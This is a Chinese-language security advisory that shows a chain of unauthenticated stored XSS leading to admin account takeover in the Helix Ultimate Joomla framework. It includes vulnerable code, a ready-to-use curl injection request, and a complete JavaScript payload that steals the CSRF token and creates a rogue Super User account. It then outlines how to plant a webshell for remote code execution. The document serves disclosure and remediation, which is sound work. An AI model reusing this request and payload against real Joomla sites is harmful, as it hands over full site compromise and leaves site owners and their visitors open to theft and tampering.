Helix Ultimate 框架 — 未认证存储型 XSS (com_ajax) → 管理员会话骑乘 → 完全账户接管

这是本研究文件夹中最强的发现——严重程度为 CRITICAL，且已端到端完全确认。 与 helix_ultimate_delete_poc.md 中仅可删除的漏洞不同，该漏洞具有一条真实、可行的完整入侵站点路径。

组件： JoomShaper Helix Ultimate 框架（plg_system_helixultimate + shaper_helixultimate 模板） 测试版本： 2.2.6（GitHub JoomShaper/helix-ultimate，HEAD 2026-07） 作者： Amin İsayev / Proxima Cyber Security

摘要

plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() 是一个标准的 Joomla com_ajax 插件事件处理器（index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>）。Joomla 核心 com_ajax 组件本身不执行任何身份验证——这始终是插件的责任。该处理器会执行任意的静态方法分发：

public function onAjaxHelixultimate()
{
    $task = $input->get('task', '', 'STRING');
    $namespace = "HelixUltimate\\Framework\\HttpResponse\\";
    $class = "Response";
    $classMethod = explode('.', $task);
    if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
    else { $method = $classMethod[0]; }
    $class = $namespace . $class;
    // ... class_exists / method_exists checks ...
    $response = $class::$method();   // <-- arbitrary no-arg static call, namespace-confined
}

命名空间是硬编码的（HelixUltimate\Framework\HttpResponse\），因此它本身并不是一个完全任意的 RCE 小工具——但 src/HttpResponse/Response.php 中的每一个公共静态方法都可被任何人、在未认证且零 CSRF 令牌的情况下调用。它们都没有调用 Session::checkToken() 或 authorise()。这与删除报告中所涉及的受管理员门控的 Request/Platform 类完全不同，是一个完全独立的入口点——com_ajax 彻底绕过了那道门控。

危险方法：Response::saveMegaMenuSettings()

public static function saveMegaMenuSettings()
{
    $input = Factory::getApplication()->input;
    $settings = $input->post->get('settings', [], 'ARRAY');   // attacker-controlled, unsanitized values
    $itemId = $input->post->get('id', 0, 'INT');

    $menu = new SiteMenu;
    $item = $menu->getItem($itemId);
    $params = $item->getParams();
    $params->set('helixultimatemenulayout', \json_encode($settings));

    self::updateMenuItem($itemId, $params);   // -> $db->updateObject('#__menu', $data, 'id', true)
}

这会将攻击者控制的 JSON 直接写入一个在线、面向公众的 Joomla 菜单项的 params 列——无需登录、无需 CSRF 令牌，只需要一个 HTTP 请求。

汇聚点：overrides/mod_menu/default.php（真实、随附的模板代码）

实际分发的 shaper_helixultimate 模板的 html/mod_menu/default.php 是一个只有一行的垫片：

require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();

经阅读 HTMLOverride.php 验证，它会解析到 plugins/system/helixultimate/overrides/mod_menu/default.php——该文件会在每个页面上、为每一位访客实际渲染站点的主导航菜单：

$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">';   // <-- zero escaping

customclass —— 一个我们可通过 saveMegaMenuSettings() 完全控制的键——被直接拼接到一个 HTML 属性中，且没有使用 htmlspecialchars()。

现场验证（2026-07-06，Docker：Joomla 5.4.6 + 真实 shaper_helixultimate 模板 + 插件 2.2.6）

$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
    --data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
    --data-urlencode "id=101"

{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}

完全没有发送任何 CSRF 令牌字段——连删除漏洞所需的那种从首页轻松收集的令牌也未曾发送。

随后提供给主页每一位后续访问者的 HTML 结果：

<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>

一个可被浏览器执行的实时 <script> 标签，以零身份验证的方式注入，并被渲染在站点访问量最大的页面上（主导航通过模块位置出现在每个页面上，而不仅是首页）。

升级为完全账户接管 / RCE

这正是 CVE-2026-48909 文件夹最初所追寻的场景，只不过是从一个完全不同的角度达成：未认证存储型 XSS + 会话骑乘 = 账户接管，完全无需窃取密码或暴力破解安装器。

任何管理员，只要在同一个浏览器中打开过公共站点的主页，而该浏览器已经（或曾经）登录过 /administrator，就会在 cookie 存储完好的情况下执行攻击者的 JavaScript。 概念载荷（本次实验并未针对真实管理员会话执行——本实验环境没有配置浏览器自动化来模拟真实已登录管理员访问页面；上述 XSS 投递本身已被 100% 确认，以下是广为人知的标准后续步骤）：

"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
  .then(r => r.text())
  .then(html => {
    const m = html.match(/name="([a-f0-9]{32})" value="1"/);
    if (!m) return;
    const token = m[1];
    const fd = new FormData();
    fd.append('jform[name]', 'sysupdate');
    fd.append('jform[username]', 'sysupdate' + Date.now());
    fd.append('jform[password]', 'AttackerP@ss123!');
    fd.append('jform[password2]', 'AttackerP@ss123!');
    fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
    fd.append('jform[block]', '0');
    fd.append('jform[groups][]', '8');   // 8 = Super Users, default Joomla group id
    fd.append('task', 'user.save');
    fd.append(token, '1');
    fetch('/administrator/index.php?option=com_users&task=user.save', {
      method: 'POST', credentials: 'include', body: fd
    });
  });
</script>

由于浏览器会将其持有的该站点源（origin）的任何会话 cookie 附加到任何同源请求上——无论触发 JavaScript 的是哪个标签页或页面——因此只要管理员在浏览前端页面时其后端会话 cookie 在该浏览器中仍然有效，此攻击就能成功。这会创建一个全新的、凭据由攻击者选择的超级用户（Super User）账户。接下来：登录 /administrator，编辑任意模板文件（或安装一个新模板）以植入 PHP 网页后门（webshell）→ 完全 RCE。

为什么这比删除漏洞更强： 此处不存在写入内容的限制——该原语写入的是数据（将 JSON 写入数据库列），而不是文件，但这些数据会在每个页面视图上被渲染为实时 HTML，这正是删除漏洞所缺少的“写入”原语。再加上标准的 XSS→会话骑乘利用模式，它补全了删除漏洞无法闭合的攻击闭环。

检测 PoC — helix_ultimate_xss_detect.py

近乎非破坏性：将一个无害、惰性的标记字符串（不含 <script>、不含引号）写入 customclass，然后检查它在渲染后的主页 HTML 中是否以未转义形式返回。之后会恢复/清除该值。

利用 PoC — helix_ultimate_xss_poc.py

将真实的 <script> XSS 载荷（默认是一个无害的 alert() 证明，或通过 --payload 提供自定义载荷）写入所选菜单项的 customclass，验证其是否以未转义形式渲染，并打印上述 ATO/会话骑乘概念载荷。只能在获得书面授权的情况下使用——此操作会修改实时站点数据（该菜单项已保存的布局），直到手动清理。

修复建议

1. onAjaxHelixultimate() 不得在没有权限检查的情况下盲目分派到 HttpResponse\Response 中的任意方法——至少在允许任何更改状态的任务（菜单保存、模块列表、巨型菜单构建器方法）之前，需要有效的 Joomla 会话 + Session::checkToken()。
2. 另外，overrides/mod_menu/default.php（以及任何其他读取 helixultimatemenulayout/customclass 的覆盖模板）必须在将菜单项参数中的任何值输出到 HTML 属性之前，使用 htmlspecialchars()（或 Joomla 的 HTMLHelper::_('esc.html', ...)）对其进行转义——这是纵深防御，因为菜单参数虽然理论上属于仅管理员数据，但从这里可以看出，它们显然不止可被管理员访问到。

Amin İsayev / Proxima Cyber Security — 2026。仅供教育 / 授权测试使用。